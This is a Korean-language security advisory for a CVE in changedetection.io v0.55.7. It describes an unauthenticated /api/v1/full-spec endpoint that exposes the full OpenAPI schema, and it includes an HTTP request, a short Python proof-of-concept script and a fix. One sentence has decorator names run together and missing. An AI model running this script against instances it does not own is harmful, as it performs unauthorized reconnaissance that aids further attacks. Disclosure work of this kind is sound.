
PoC: changedetection.io 인증되지 않은 OpenAPI 스키마 노출 (CVE-2026-71203, 중간 5.3)
제품: dgtlmoon/changedetection.io — v0.55.7
파일: changedetectionio/api/Spec.py
CWE: CWE-306 — 중요 기능에 대한 인증 누락
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (중간)
CNA: Turan Security · CVE 레코드
changedetection.io의 REST API 리소스는 호출자의 x-api-key 헤더를 검증하는 @auth.check_token 데코레이터로 보호됩니다. 단, /api/v1/full-spec(changedetectionio/api/Spec.py)에 등록된 Spec 리소스는 예외이며, 해당 메서드에는 도 도 적용되어 있지 않습니다.
get@auth.check_token@validate_openapi_request인증되지 않은 모든 네트워크 클라이언트는 API 키를 제시하지 않고도 인스턴스의 전체 OpenAPI 스키마를 조회하여, 내부 API 표면 전체(모든 리소스 경로, 매개변수, 응답 형태)를 노출할 수 있습니다. 스키마 자체는 민감한 사용자 데이터가 아니지만, 공격자에게 공격 대상이 될 수 있는 다른 모든 API 엔드포인트의 완전하고 공식적인 지도를 제공하여, 실제로 보호되는 리소스에 대한 추가 정찰 비용을 낮춥니다.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
x-api-key 헤더, 쿠키 또는 어떤 자격 증명도 필요하지 않습니다. 응답은 전체 OpenAPI 스펙 문서입니다.
개념 증명 (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
API의 다른 모든 REST 리소스는 핸들러 메서드에 @auth.check_token(및 @validate_openapi_request)이 적용된 상태로 등록되어 있습니다. 그러나 Spec 리소스의 get 메서드는 같은 방식으로 데코레이션되지 않아, API 키로 보호되는 표면에서 유일하게 인증되지 않은 엔드포인트로 남아 있습니다.
다른 모든 API 리소스와 일관되게 Spec.get()에 @auth.check_token을 적용하십시오. 또는 스키마를 공개하려는 의도라면, 불일치로 남겨두지 말고 이를 명시적이고 문서화된 결정으로 만드십시오.